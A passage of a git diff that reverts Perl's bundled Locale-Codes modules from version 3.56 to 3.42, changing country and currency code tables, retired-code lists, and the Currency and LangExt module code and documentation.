-      q(0226) => q(TTO),
-      q(0227) => q(TUN),
-      q(0228) => q(TUR),
-      q(0229) => q(TKM),
-      q(0230) => q(TCA),
-      q(0231) => q(TUV),
-      q(0232) => q(UGA),
-      q(0233) => q(UKR),
-      q(0234) => q(ARE),
-      q(0235) => q(GBR),
-      q(0236) => q(UMI),
-      q(0237) => q(USA),
-      q(0238) => q(URY),
-      q(0239) => q(UZB),
-      q(0240) => q(VUT),
-      q(0241) => q(VEN),
-      q(0242) => q(VNM),
       q(0243) => q(VGB),
-      q(0244) => q(VIR),
-      q(0245) => q(WLF),
-      q(0246) => q(ESH),
-      q(0247) => q(YEM),
-      q(0248) => q(ZMB),
-      q(0249) => q(ZWE),
       },
    q(un-numeric) => {
       q(0001) => q(004),
@@ -14517,7 +14210,6 @@ $Locale::Codes::Data{'country'}{'id2code'} = {
       q(0006) => q(020),
       q(0007) => q(024),
       q(0008) => q(660),
-      q(0009) => q(010),
       q(0010) => q(028),
       q(0011) => q(032),
       q(0012) => q(051),
@@ -14539,9 +14231,7 @@ $Locale::Codes::Data{'country'}{'id2code'} = {
       q(0028) => q(535),
       q(0029) => q(070),
       q(0030) => q(072),
-      q(0031) => q(074),
       q(0032) => q(076),
-      q(0033) => q(086),
       q(0034) => q(096),
       q(0035) => q(100),
       q(0036) => q(854),
@@ -14555,8 +14245,6 @@ $Locale::Codes::Data{'country'}{'id2code'} = {
       q(0044) => q(148),
       q(0045) => q(152),
       q(0046) => q(156),
-      q(0047) => q(162),
-      q(0048) => q(166),
       q(0049) => q(170),
       q(0050) => q(174),
       q(0051) => q(180),
@@ -14587,7 +14275,6 @@ $Locale::Codes::Data{'country'}{'id2code'} = {
       q(0076) => q(250),
       q(0077) => q(254),
       q(0078) => q(258),
-      q(0079) => q(260),
       q(0080) => q(266),
       q(0081) => q(270),
       q(0082) => q(268),
@@ -14605,7 +14292,6 @@ $Locale::Codes::Data{'country'}{'id2code'} = {
       q(0094) => q(624),
       q(0095) => q(328),
       q(0096) => q(332),
-      q(0097) => q(334),
       q(0098) => q(336),
       q(0099) => q(340),
       q(0100) => q(344),
@@ -14640,7 +14326,6 @@ $Locale::Codes::Data{'country'}{'id2code'} = {
       q(0129) => q(440),
       q(0130) => q(442),
       q(0131) => q(446),
-      q(0132) => q(807),
       q(0133) => q(450),
       q(0134) => q(454),
       q(0135) => q(458),
@@ -14715,49 +14400,12 @@ $Locale::Codes::Data{'country'}{'id2code'} = {
       q(0204) => q(090),
       q(0205) => q(706),
       q(0206) => q(710),
-      q(0207) => q(239),
       q(0208) => q(728),
       q(0209) => q(724),
       q(0210) => q(144),
-      q(0211) => q(729),
-      q(0212) => q(740),
-      q(0213) => q(744),
-      q(0214) => q(748),
-      q(0215) => q(752),
-      q(0216) => q(756),
-      q(0217) => q(760),
-      q(0219) => q(762),
-      q(0220) => q(834),
-      q(0221) => q(764),
-      q(0222) => q(626),
-      q(0223) => q(768),
-      q(0224) => q(772),
-      q(0225) => q(776),
-      q(0226) => q(780),
-      q(0227) => q(788),
-      q(0228) => q(792),
-      q(0229) => q(795),
-      q(0230) => q(796),
-      q(0231) => q(798),
-      q(0232) => q(800),
-      q(0233) => q(804),
-      q(0234) => q(784),
-      q(0235) => q(826),
-      q(0236) => q(581),
-      q(0237) => q(840),
-      q(0238) => q(858),
-      q(0239) => q(860),
-      q(0240) => q(548),
-      q(0241) => q(862),
-      q(0242) => q(704),
       q(0243) => q(092),
-      q(0244) => q(850),
-      q(0245) => q(876),
-      q(0246) => q(732),
-      q(0247) => q(887),
-      q(0248) => q(894),
-      q(0249) => q(716),
-      q(0250) => q(680),
+      q(0250) => q(830),
+      q(0251) => q(680),
       },
 };
 
diff --git a/cpan/Locale-Codes/lib/Locale/Codes/Country_Retired.pm b/cpan/Locale-Codes/lib/Locale/Codes/Country_Retired.pm
index 6df5dd59399d..94bcb30bbe1b 100644
--- a/cpan/Locale-Codes/lib/Locale/Codes/Country_Retired.pm
+++ b/cpan/Locale-Codes/lib/Locale/Codes/Country_Retired.pm
@@ -3,7 +3,7 @@ Locale::Codes::Country_Retired;
 
 # This file was automatically generated.  Any changes to this file will
 # be lost the next time 'deprecate_codes' is run.
-#    Generated on: Fri Feb 23 12:58:17 EST 2018
+#    Generated on: Fri Nov 18 09:22:54 EST 2016
 
 use strict;
 require 5.006;
@@ -11,7 +11,7 @@ use warnings;
 use utf8;
 
 our($VERSION);
-$VERSION='3.56';
+$VERSION='3.42';
 
 $Locale::Codes::Retired{'country'}{'alpha-2'}{'code'} = {
    q(an) => q(Netherlands Antilles),
@@ -340,7 +340,6 @@ $Locale::Codes::Retired{'country'}{'un-alpha-3'}{'code'} = {
 };
 
 $Locale::Codes::Retired{'country'}{'un-numeric'}{'code'} = {
-   q(830) => q(Channel Islands),
 };
 
 $Locale::Codes::Retired{'country'}{'alpha-2'}{'name'} = {
@@ -616,13 +615,10 @@ $Locale::Codes::Retired{'country'}{'numeric'}{'name'} = {
 
 $Locale::Codes::Retired{'country'}{'un-alpha-3'}{'name'} = {
    q(czech republic) => [ q(CZE), q(Czech Republic) ],
-   q(korea, the democratic people's republic of) => [ q(PRK), q(Korea, The Democratic People's Republic of) ],
 };
 
 $Locale::Codes::Retired{'country'}{'un-numeric'}{'name'} = {
-   q(channel islands) => [ q(830), q(Channel Islands) ],
    q(czech republic) => [ q(203), q(Czech Republic) ],
-   q(korea, the democratic people's republic of) => [ q(408), q(Korea, The Democratic People's Republic of) ],
 };
 
 
diff --git a/cpan/Locale-Codes/lib/Locale/Codes/Currency.pm b/cpan/Locale-Codes/lib/Locale/Codes/Currency.pm
index e24656f903c6..35d9e7a5fa34 100644
--- a/cpan/Locale-Codes/lib/Locale/Codes/Currency.pm
+++ b/cpan/Locale-Codes/lib/Locale/Codes/Currency.pm
@@ -1,94 +1,98 @@
 package Locale::Codes::Currency;
 # Copyright (C) 2001      Canon Research Centre Europe (CRE).
 # Copyright (C) 2002-2009 Neil Bowers
-# Copyright (c) 2010-2018 Sullivan Beck
+# Copyright (c) 2010-2016 Sullivan Beck
 # This program is free software; you can redistribute it and/or modify it
 # under the same terms as Perl itself.
 
-# This file was automatically generated.  Any changes to this file will
-# be lost the next time 'gen_mods' is run.
-#    Generated on: Fri Feb 23 12:55:25 EST 2018
-
 use strict;
-use warnings;
 require 5.006;
-use Exporter qw(import);
-
-our($VERSION,@EXPORT);
-$VERSION   = '3.56';
+use warnings;
 
-################################################################################
-use if $] >= 5.027007, 'deprecate';
+require Exporter;
+use Carp;
 use Locale::Codes;
 use Locale::Codes::Constants;
+use Locale::Codes::Currency_Codes;
+use Locale::Codes::Currency_Retired;
+
+#=======================================================================
+#       Public Global Variables
+#=======================================================================
 
-@EXPORT    = qw(
-                code2currency
+our($VERSION,@ISA,@EXPORT,@EXPORT_OK);
+
+$VERSION='3.42';
+@ISA       = qw(Exporter);
+@EXPORT    = qw(code2currency
                 currency2code
                 all_currency_codes
                 all_currency_names
                 currency_code2code
+                LOCALE_CURR_ALPHA
+                LOCALE_CURR_NUMERIC
                );
-push(@EXPORT,@Locale::Codes::Constants::CONSTANTS_CURRENCY);
-
-our $obj = new Locale::Codes('currency');
-$obj->show_errors(0);
-
-sub show_errors {
-   my($val) = @_;
-   $obj->show_errors($val);
-}
 
 sub code2currency {
-   return $obj->code2name(@_);
+   return Locale::Codes::_code2name('currency',@_);
 }
 
 sub currency2code {
-   return $obj->name2code(@_);
+   return Locale::Codes::_name2code('currency',@_);
 }
 
 sub currency_code2code {
-   return $obj->code2code(@_);
+   return Locale::Codes::_code2code('currency',@_);
 }
 
 sub all_currency_codes {
-   return $obj->all_codes(@_);
+   return Locale::Codes::_all_codes('currency',@_);
 }
 
 sub all_currency_names {
-   return $obj->all_names(@_);
+   return Locale::Codes::_all_names('currency',@_);
 }
 
 sub rename_currency {
-   return $obj->rename_code(@_);
+   return Locale::Codes::_rename('currency',@_);
 }
 
 sub add_currency {
-   return $obj->add_code(@_);
+   return Locale::Codes::_add_code('currency',@_);
 }
 
 sub delete_currency {
-   return $obj->delete_code(@_);
+   return Locale::Codes::_delete_code('currency',@_);
 }
 
 sub add_currency_alias {
-   return $obj->add_alias(@_);
+   return Locale::Codes::_add_alias('currency',@_);
 }
 
 sub delete_currency_alias {
-   return $obj->delete_alias(@_);
+   return Locale::Codes::_delete_alias('currency',@_);
 }
 
 sub rename_currency_code {
-   return $obj->replace_code(@_);
+   return Locale::Codes::_rename_code('currency',@_);
 }
 
 sub add_currency_code_alias {
-   return $obj->add_code_alias(@_);
+   return Locale::Codes::_add_code_alias('currency',@_);
 }
 
 sub delete_currency_code_alias {
-   return $obj->delete_code_alias(@_);
+   return Locale::Codes::_delete_code_alias('currency',@_);
 }
 
 1;
+# Local Variables:
+# mode: cperl
+# indent-tabs-mode: nil
+# cperl-indent-level: 3
+# cperl-continued-statement-offset: 2
+# cperl-continued-brace-offset: 0
+# cperl-brace-offset: 0
+# cperl-brace-imaginary-offset: 0
+# cperl-label-offset: 0
+# End:
diff --git a/cpan/Locale-Codes/lib/Locale/Codes/Currency.pod b/cpan/Locale-Codes/lib/Locale/Codes/Currency.pod
index 0d5d2666bf32..60bf9d9eae0f 100644
--- a/cpan/Locale-Codes/lib/Locale/Codes/Currency.pod
+++ b/cpan/Locale-Codes/lib/Locale/Codes/Currency.pod
@@ -2,107 +2,90 @@
 
 =head1 NAME
 
-Locale::Codes::Currency - module for dealing with currency code sets
+Locale::Codes::Currency - standard codes for currency identification
 
 =head1 SYNOPSIS
 
-   use Locale::Codes::Currency;
+    use Locale::Codes::Currency;
 
-   $name = code2currency(CODE);
-   $code = currency2code(NAME);
+    $curr = code2currency('usd');     # $curr gets 'US Dollar'
+    $code = currency2code('Euro');    # $code gets 'eur'
 
-   @codes   = all_currency_codes();
-   @names   = all_currency_names();
+    @codes   = all_currency_codes();
+    @names   = all_currency_names();
 
 =head1 DESCRIPTION
 
-This module provides access to currency code sets.
-
-Please refer to the L document for a description
-of the code sets available.
+This module provides access to standard codes used for identifying
+currencies and funds, such as those defined in ISO 4217.
 
 Most of the routines take an optional additional argument which
-specifies the code set to use. The code set can be specified using the
-name of a code set, or the perl constant specified in the above
-document.  If not specified, the default code set will be used.
+specifies the code set to use. If not specified, the default ISO
+4217 three-letter codes will be used.
 
-=head1 ROUTINES
+=head1 SUPPORTED CODE SETS
 
-All routines in this module call the appropriate method in the
-L module, using an object of type: currency
-Please refer to the documentation of the L module
-for details about each function.
+There are several different code sets you can use for identifying
+currencies. A code set may be specified using either a name, or a
+constant that is automatically exported by this module.
 
-The following functions are exported automatically:
+For example, the two are equivalent:
 
-=over 4
+   $curr = code2currency('usd','alpha');
+   $curr = code2currency('usd',LOCALE_CURR_ALPHA);
 
-=item B
+The codesets currently supported are:
 
-See B in L
+=over 4
 
-=item B
+=item B
 
-See B in L
+This is a set of three-letter (uppercase) codes from ISO 4217 such
+as EUR for Euro.
 
-=item B
+Two of the codes specified by the standard (XTS which is reserved
+for testing purposes and XXX which is for transactions where no
+currency is involved) are omitted.
 
-See B in L
+This is the default code set.
 
-=item B
+=item B
 
-See B in L
-
-=item B
-
-See B in L
+This is the set of three-digit numeric codes from ISO 4217.
 
 =back
 
-The following functions are not exported and must be called fully
-qualified with the package name:
+=head1 ROUTINES
 
 =over 4
 
-=item B
+=item B
+
+=item B
+
+=item B
 
-By default, invalid input will produce empty results, but no errors.  By
-passing in a non-zero value of FLAG, errors will be produced.
+=item B
 
-See B in L but note that the default for
-the non-OO modules are to NOT produce errors.
+=item B
 
 =item B
 
-See B in L
-
 =item B
 
-See B in L
-
 =item B
 
-See B in L
-
 =item B
 
-See B in L
-
 =item B
 
-See B in L
-
 =item B
 
-See B in L
-
 =item B
 
-See B in L
+=item B
 
-=item B
-
-See B in L
+These routines are all documented in the L man page.
 
 =back
 
@@ -114,6 +97,14 @@ See B in L
 
 The Locale-Codes distribution.
 
+=item L
+
+The list of functions supported by this module.
+
+=item L
+
+The ISO 4217 data.
+
 =back
 
 =head1 AUTHOR
@@ -124,7 +115,10 @@ Currently maintained by Sullivan Beck (sbeck@cpan.org).
 
 =head1 COPYRIGHT
 
-   Copyright (c) 2011-2018 Sullivan Beck
+   Copyright (c) 1997-2001 Canon Research Centre Europe (CRE).
+   Copyright (c) 2001      Michael Hennecke
+   Copyright (c) 2001-2010 Neil Bowers
+   Copyright (c) 2010-2016 Sullivan Beck
 
 This module is free software; you can redistribute it and/or
 modify it under the same terms as Perl itself.
diff --git a/cpan/Locale-Codes/lib/Locale/Codes/Currency_Codes.pm b/cpan/Locale-Codes/lib/Locale/Codes/Currency_Codes.pm
index a8336540b7e1..d55bef320208 100644
--- a/cpan/Locale-Codes/lib/Locale/Codes/Currency_Codes.pm
+++ b/cpan/Locale-Codes/lib/Locale/Codes/Currency_Codes.pm
@@ -3,7 +3,7 @@ Locale::Codes::Currency_Codes;
 
 # This file was automatically generated.  Any changes to this file will
 # be lost the next time 'harvest_data' is run.
-#    Generated on: Fri Feb 23 12:54:50 EST 2018
+#    Generated on: Tue Nov 29 15:43:48 EST 2016
 
 use strict;
 require 5.006;
@@ -11,7 +11,7 @@ use warnings;
 use utf8;
 
 our($VERSION);
-$VERSION='3.56';
+$VERSION='3.42';
 
 $Locale::Codes::Data{'currency'}{'id'} = '0177';
 
@@ -50,7 +50,7 @@ $Locale::Codes::Data{'currency'}{'id2names'} = {
       q(Australian Dollar),
       ],
    q(0012) => [
-      q(Azerbaijan Manat),
+      q(Azerbaijanian Manat),
       ],
    q(0013) => [
       q(Bahamian Dollar),
@@ -140,7 +140,7 @@ $Locale::Codes::Data{'currency'}{'id2names'} = {
       q(Unidad de Valor Real),
       ],
    q(0042) => [
-      q(Comorian Franc),
+      q(Comoro Franc),
       ],
    q(0043) => [
       q(Congolese Franc),
@@ -215,7 +215,7 @@ $Locale::Codes::Data{'currency'}{'id2names'} = {
       q(Pound Sterling),
       ],
    q(0067) => [
-      q(Guinean Franc),
+      q(Guinea Franc),
       ],
    q(0068) => [
       q(Guyana Dollar),
@@ -278,7 +278,7 @@ $Locale::Codes::Data{'currency'}{'id2names'} = {
       q(Som),
       ],
    q(0088) => [
-      q(Lao Kip),
+      q(Kip),
       ],
    q(0089) => [
       q(Lebanese Pound),
@@ -377,7 +377,7 @@ $Locale::Codes::Data{'currency'}{'id2names'} = {
       q(Sol),
       ],
    q(0121) => [
-      q(Philippine Piso),
+      q(Philippine Peso),
       ],
    q(0122) => [
       q(Zloty),
@@ -575,7 +575,7 @@ $Locale::Codes::Data{'currency'}{'alias2id'} = {
       q(0011),
       q(0),
       ],
-   q(azerbaijan manat) => [
+   q(azerbaijanian manat) => [
       q(0012),
       q(0),
       ],
@@ -683,7 +683,7 @@ $Locale::Codes::Data{'currency'}{'alias2id'} = {
       q(0040),
       q(0),
       ],
-   q(comorian franc) => [
+   q(comoro franc) => [
       q(0042),
       q(0),
       ],
@@ -791,7 +791,7 @@ $Locale::Codes::Data{'currency'}{'alias2id'} = {
       q(0119),
       q(0),
       ],
-   q(guinean franc) => [
+   q(guinea franc) => [
       q(0067),
       q(0),
       ],
@@ -839,6 +839,10 @@ $Locale::Codes::Data{'currency'}{'alias2id'} = {
       q(0118),
       q(0),
       ],
+   q(kip) => [
+      q(0088),
+      q(0),
+      ],
    q(kuna) => [
       q(0046),
       q(0),
@@ -855,10 +859,6 @@ $Locale::Codes::Data{'currency'}{'alias2id'} = {
       q(0110),
       q(0),
       ],
-   q(lao kip) => [
-      q(0088),
-      q(0),
-      ],
    q(lari) => [
       q(0062),
       q(0),
@@ -1007,7 +1007,7 @@ $Locale::Codes::Data{'currency'}{'alias2id'} = {
       q(0160),
       q(0),
       ],
-   q(philippine piso) => [
+   q(philippine peso) => [
       q(0121),
       q(0),
       ],
@@ -1355,6 +1355,10 @@ $Locale::Codes::Data{'currency'}{'code2id'} = {
          q(0017),
          q(0),
          ],
+      q(BYR) => [
+         q(0017),
+         q(0),
+         ],
       q(BZD) => [
          q(0018),
          q(0),
@@ -1635,7 +1639,7 @@ $Locale::Codes::Data{'currency'}{'code2id'} = {
          q(0095),
          q(0),
          ],
-      q(MRU) => [
+      q(MRO) => [
          q(0101),
          q(0),
          ],
@@ -1787,7 +1791,7 @@ $Locale::Codes::Data{'currency'}{'code2id'} = {
          q(0138),
          q(0),
          ],
-      q(STN) => [
+      q(STD) => [
          q(0129),
          q(0),
          ],
@@ -2249,6 +2253,10 @@ $Locale::Codes::Data{'currency'}{'code2id'} = {
          q(0100),
          q(0),
          ],
+      q(478) => [
+         q(0101),
+         q(0),
+         ],
       q(480) => [
          q(0102),
          q(0),
@@ -2349,6 +2357,10 @@ $Locale::Codes::Data{'currency'}{'code2id'} = {
          q(0127),
          q(0),
          ],
+      q(678) => [
+         q(0129),
+         q(0),
+         ],
       q(682) => [
          q(0130),
          q(0),
@@ -2461,14 +2473,6 @@ $Locale::Codes::Data{'currency'}{'code2id'} = {
          q(0147),
          q(0),
          ],
-      q(929) => [
-         q(0101),
-         q(0),
-         ],
-      q(930) => [
-         q(0129),
-         q(0),
-         ],
       q(931) => [
          q(0048),
          q(0),
@@ -2613,6 +2617,10 @@ $Locale::Codes::Data{'currency'}{'code2id'} = {
          q(0006),
          q(0),
          ],
+      q(974) => [
+         q(0017),
+         q(0),
+         ],
       q(975) => [
          q(0030),
          q(0),
@@ -2686,7 +2694,7 @@ $Locale::Codes::Data{'currency'}{'id2code'} = {
       q(0014) => q(BHD),
       q(0015) => q(BDT),
       q(0016) => q(BBD),
-      q(0017) => q(BYN),
+      q(0017) => q(BYR),
       q(0018) => q(BZD),
       q(0019) => q(XOF),
       q(0020) => q(BMD),
@@ -2770,7 +2778,7 @@ $Locale::Codes::Data{'currency'}{'id2code'} = {
       q(0098) => q(MWK),
       q(0099) => q(MYR),
       q(0100) => q(MVR),
-      q(0101) => q(MRU),
+      q(0101) => q(MRO),
       q(0102) => q(MUR),
       q(0103) => q(XUA),
       q(0104) => q(MXN),
@@ -2798,7 +2806,7 @@ $Locale::Codes::Data{'currency'}{'id2code'} = {
       q(0126) => q(RWF),
       q(0127) => q(SHP),
       q(0128) => q(WST),
-      q(0129) => q(STN),
+      q(0129) => q(STD),
       q(0130) => q(SAR),
       q(0131) => q(RSD),
       q(0132) => q(SCR),
@@ -2864,7 +2872,7 @@ $Locale::Codes::Data{'currency'}{'id2code'} = {
       q(0014) => q(048),
       q(0015) => q(050),
       q(0016) => q(052),
-      q(0017) => q(933),
+      q(0017) => q(974),
       q(0018) => q(084),
       q(0019) => q(952),
       q(0020) => q(060),
@@ -2948,7 +2956,7 @@ $Locale::Codes::Data{'currency'}{'id2code'} = {
       q(0098) => q(454),
       q(0099) => q(458),
       q(0100) => q(462),
-      q(0101) => q(929),
+      q(0101) => q(478),
       q(0102) => q(480),
       q(0103) => q(965),
       q(0104) => q(484),
@@ -2976,7 +2984,7 @@ $Locale::Codes::Data{'currency'}{'id2code'} = {
       q(0126) => q(646),
       q(0127) => q(654),
       q(0128) => q(882),
-      q(0129) => q(930),
+      q(0129) => q(678),
       q(0130) => q(682),
       q(0131) => q(941),
       q(0132) => q(690),
diff --git a/cpan/Locale-Codes/lib/Locale/Codes/Currency_Retired.pm b/cpan/Locale-Codes/lib/Locale/Codes/Currency_Retired.pm
index 155879232ae3..9ee38872a26b 100644
--- a/cpan/Locale-Codes/lib/Locale/Codes/Currency_Retired.pm
+++ b/cpan/Locale-Codes/lib/Locale/Codes/Currency_Retired.pm
@@ -3,7 +3,7 @@ Locale::Codes::Currency_Retired;
 
 # This file was automatically generated.  Any changes to this file will
 # be lost the next time 'deprecate_codes' is run.
-#    Generated on: Fri Feb 23 12:58:17 EST 2018
+#    Generated on: Fri Nov 18 09:22:54 EST 2016
 
 use strict;
 require 5.006;
@@ -11,7 +11,7 @@ use warnings;
 use utf8;
 
 our($VERSION);
-$VERSION='3.56';
+$VERSION='3.42';
 
 $Locale::Codes::Retired{'currency'}{'alpha'}{'code'} = {
    q(ADP) => q(Andorran Peseta),
@@ -40,7 +40,6 @@ $Locale::Codes::Retired{'currency'}{'alpha'}{'code'} = {
    q(LUF) => q(Luxembourg Franc),
    q(LVL) => q(Latvian Lats),
    q(MGF) => q(Malagasy Franc),
-   q(MRO) => q(Ouguiya),
    q(MTL) => q(Maltese Lira),
    q(MZM) => q(Metical),
    q(NLG) => q(Netherlands Guilder),
@@ -52,7 +51,6 @@ $Locale::Codes::Retired{'currency'}{'alpha'}{'code'} = {
    q(SIT) => q(Tolar),
    q(SKK) => q(Slovak Koruna),
    q(SRG) => q(Surinam Guilder),
-   q(STD) => q(Dobra),
    q(TJR) => q(Tajik Ruble),
    q(TMM) => q(Manat),
    q(TPE) => q(Timor Escudo),
@@ -73,16 +71,13 @@ $Locale::Codes::Retired{'currency'}{'alpha'}{'code'} = {
 $Locale::Codes::Retired{'currency'}{'num'}{'code'} = {
    q(428) => q(Latvian Lats),
    q(440) => q(Lithuanian Litas),
-   q(478) => q(Ouguiya),
    q(654) => q(Saint Helena Pound),
-   q(678) => q(Dobra),
    q(998) => q(US Dollar (Same day)),
 };
 
 $Locale::Codes::Retired{'currency'}{'alpha'}{'name'} = {
    q(andorran peseta) => [ q(ADP), q(Andorran Peseta) ],
    q(aruban guilder) => [ q(AWG), q(Aruban Guilder) ],
-   q(azerbaijanian manat) => [ q(AZN), q(Azerbaijanian Manat) ],
    q(belarussian ruble) => [ q(BYR), q(Belarussian Ruble) ],
    q(belgian franc) => [ q(BEF), q(Belgian Franc) ],
    q(bermudian dollar (customarily known as bermuda dollar)) => [ q(BMD), q(Bermudian Dollar (customarily known as Bermuda Dollar)) ],
@@ -92,7 +87,6 @@ $Locale::Codes::Retired{'currency'}{'alpha'}{'name'} = {
    q(candian dollar) => [ q(CAD), q(Candian Dollar) ],
    q(cape verde escudo) => [ q(CVE), q(Cape Verde Escudo) ],
    q(cedi) => [ q(GHS), q(Cedi) ],
-   q(comoro franc) => [ q(KMF), q(Comoro Franc) ],
    q(convertible marks) => [ q(BAM), q(Convertible Marks) ],
    q(croatian kuna) => [ q(HRK), q(Croatian Kuna) ],
    q(cyprus pound) => [ q(CYP), q(Cyprus Pound) ],
@@ -111,12 +105,10 @@ $Locale::Codes::Retired{'currency'}{'alpha'}{'name'} = {
    q(french franc) => [ q(FRF), q(French Franc) ],
    q(german mark) => [ q(DEM), q(German Mark) ],
    q(gold-franc) => [ q(XFO), q(Gold-Franc) ],
-   q(guinea franc) => [ q(GNF), q(Guinea Franc) ],
    q(guinea-bissau peso) => [ q(GWP), q(Guinea-Bissau Peso) ],
    q(irish pound) => [ q(IEP), q(Irish Pound) ],
    q(italian lira) => [ q(ITL), q(Italian Lira) ],
    q(karbovanets) => [ q(UAK), q(Karbovanets) ],
-   q(kip) => [ q(LAK), q(Kip) ],
    q(kroon) => [ q(EEK), q(Kroon) ],
    q(kuna) => [ q(HRK), q(Kuna) ],
    q(kwacha) => [ q(MWK), q(Kwacha) ],
@@ -141,7 +133,6 @@ $Locale::Codes::Retired{'currency'}{'alpha'}{'name'} = {
    q(new romanian leu) => [ q(RON), q(New Romanian Leu) ],
    q(new zaire) => [ q(ZRN), q(New Zaire) ],
    q(nuevo sol) => [ q(PEN), q(Nuevo Sol) ],
-   q(philippine peso) => [ q(PHP), q(Philippine Peso) ],
    q(portuguese escudo) => [ q(PTE), q(Portuguese Escudo) ],
    q(saint helena pound) => [ q(SHP), q(Saint Helena Pound) ],
    q(schilling) => [ q(ATS), q(Schilling) ],
@@ -165,15 +156,11 @@ $Locale::Codes::Retired{'currency'}{'alpha'}{'name'} = {
 };
 
 $Locale::Codes::Retired{'currency'}{'num'}{'name'} = {
-   q(azerbaijanian manat) => [ q(944), q(Azerbaijanian Manat) ],
    q(belarussian ruble) => [ q(974), q(Belarussian Ruble) ],
    q(bolivar fuerte) => [ q(937), q(Bolivar Fuerte) ],
    q(cape verde escudo) => [ q(132), q(Cape Verde Escudo) ],
    q(cedi) => [ q(936), q(Cedi) ],
-   q(comoro franc) => [ q(174), q(Comoro Franc) ],
    q(croatian kuna) => [ q(191), q(Croatian Kuna) ],
-   q(guinea franc) => [ q(324), q(Guinea Franc) ],
-   q(kip) => [ q(418), q(Kip) ],
    q(kwacha) => [ q(454), q(Kwacha) ],
    q(latvian lats) => [ q(428), q(Latvian Lats) ],
    q(leu) => [ q(946), q(Leu) ],
@@ -182,7 +169,6 @@ $Locale::Codes::Retired{'currency'}{'num'}{'name'} = {
    q(new manat) => [ q(934), q(New Manat) ],
    q(new romanian leu) => [ q(946), q(New Romanian Leu) ],
    q(nuevo sol) => [ q(604), q(Nuevo Sol) ],
-   q(philippine peso) => [ q(608), q(Philippine Peso) ],
    q(saint helena pound) => [ q(654), q(Saint Helena Pound) ],
    q(unidades de fomento) => [ q(990), q(Unidades de fomento) ],
    q(us dollar (same day)) => [ q(998), q(US Dollar (Same day)) ],
diff --git a/cpan/Locale-Codes/lib/Locale/Codes/LangExt.pm b/cpan/Locale-Codes/lib/Locale/Codes/LangExt.pm
index f4f82ba01114..1f700b440395 100644
--- a/cpan/Locale-Codes/lib/Locale/Codes/LangExt.pm
+++ b/cpan/Locale-Codes/lib/Locale/Codes/LangExt.pm
@@ -1,94 +1,95 @@
 package Locale::Codes::LangExt;
-# Copyright (C) 2001      Canon Research Centre Europe (CRE).
-# Copyright (C) 2002-2009 Neil Bowers
-# Copyright (c) 2010-2018 Sullivan Beck
+# Copyright (c) 2011-2016 Sullivan Beck
 # This program is free software; you can redistribute it and/or modify it
 # under the same terms as Perl itself.
 
-# This file was automatically generated.  Any changes to this file will
-# be lost the next time 'gen_mods' is run.
-#    Generated on: Fri Feb 23 12:55:25 EST 2018
-
 use strict;
-use warnings;
 require 5.006;
-use Exporter qw(import);
-
-our($VERSION,@EXPORT);
-$VERSION   = '3.56';
+use warnings;
 
-################################################################################
-use if $] >= 5.027007, 'deprecate';
+require Exporter;
+use Carp;
 use Locale::Codes;
 use Locale::Codes::Constants;
+use Locale::Codes::LangExt_Codes;
+use Locale::Codes::LangExt_Retired;
+
+#=======================================================================
+#       Public Global Variables
+#=======================================================================
 
-@EXPORT    = qw(
-                code2langext
+our($VERSION,@ISA,@EXPORT,@EXPORT_OK);
+
+$VERSION='3.42';
+@ISA       = qw(Exporter);
+@EXPORT    = qw(code2langext
                 langext2code
                 all_langext_codes
                 all_langext_names
                 langext_code2code
+                LOCALE_LANGEXT_ALPHA
                );
-push(@EXPORT,@Locale::Codes::Constants::CONSTANTS_LANGEXT);
-
-our $obj = new Locale::Codes('langext');
-$obj->show_errors(0);
-
-sub show_errors {
-   my($val) = @_;
-   $obj->show_errors($val);
-}
 
 sub code2langext {
-   return $obj->code2name(@_);
+   return Locale::Codes::_code2name('langext',@_);
 }
 
 sub langext2code {
-   return $obj->name2code(@_);
+   return Locale::Codes::_name2code('langext',@_);
 }
 
 sub langext_code2code {
-   return $obj->code2code(@_);
+   return Locale::Codes::_code2code('langext',@_);
 }
 
 sub all_langext_codes {
-   return $obj->all_codes(@_);
+   return Locale::Codes::_all_codes('langext',@_);
 }
 
 sub all_langext_names {
-   return $obj->all_names(@_);
+   return Locale::Codes::_all_names('langext',@_);
 }
 
 sub rename_langext {
-   return $obj->rename_code(@_);
+   return Locale::Codes::_rename('langext',@_);
 }
 
 sub add_langext {
-   return $obj->add_code(@_);
+   return Locale::Codes::_add_code('langext',@_);
 }
 
 sub delete_langext {
-   return $obj->delete_code(@_);
+   return Locale::Codes::_delete_code('langext',@_);
 }
 
 sub add_langext_alias {
-   return $obj->add_alias(@_);
+   return Locale::Codes::_add_alias('langext',@_);
 }
 
 sub delete_langext_alias {
-   return $obj->delete_alias(@_);
+   return Locale::Codes::_delete_alias('langext',@_);
 }
 
 sub rename_langext_code {
-   return $obj->replace_code(@_);
+   return Locale::Codes::_rename_code('langext',@_);
 }
 
 sub add_langext_code_alias {
-   return $obj->add_code_alias(@_);
+   return Locale::Codes::_add_code_alias('langext',@_);
 }
 
 sub delete_langext_code_alias {
-   return $obj->delete_code_alias(@_);
+   return Locale::Codes::_delete_code_alias('langext',@_);
 }
 
 1;
+# Local Variables:
+# mode: cperl
+# indent-tabs-mode: nil
+# cperl-indent-level: 3
+# cperl-continued-statement-offset: 2
+# cperl-continued-brace-offset: 0
+# cperl-brace-offset: 0
+# cperl-brace-imaginary-offset: 0
+# cperl-label-offset: 0
+# End:
diff --git a/cpan/Locale-Codes/lib/Locale/Codes/LangExt.pod b/cpan/Locale-Codes/lib/Locale/Codes/LangExt.pod
index f20f1c2be8c3..5d97492a176f 100644
--- a/cpan/Locale-Codes/lib/Locale/Codes/LangExt.pod
+++ b/cpan/Locale-Codes/lib/Locale/Codes/LangExt.pod
@@ -2,107 +2,83 @@
 
 =head1 NAME
 
-Locale::Codes::LangExt - module for dealing with langext code sets
+Locale::Codes::LangExt - standard codes for language extension identification
 
 =head1 SYNOPSIS
 
    use Locale::Codes::LangExt;
 
-   $name = code2langext(CODE);
-   $code = langext2code(NAME);
+   $lext = code2langext('acm');                 # $lext gets 'Mesopotamian Arabic'
+   $code = langext2code('Mesopotamian Arabic'); # $code gets 'acm'
 
    @codes   = all_langext_codes();
    @names   = all_langext_names();
 
 =head1 DESCRIPTION
 
-This module provides access to langext code sets.
-
-Please refer to the L document for a description
-of the code sets available.
+This module provides access to standard codes
+used for identifying language extensions, such as those as defined in
+the IANA language registry.
 
 Most of the routines take an optional additional argument which
-specifies the code set to use. The code set can be specified using the
-name of a code set, or the perl constant specified in the above
-document.  If not specified, the default code set will be used.
-
-=head1 ROUTINES
-
-All routines in this module call the appropriate method in the
-L module, using an object of type: langext
-Please refer to the documentation of the L module
-for details about each function.
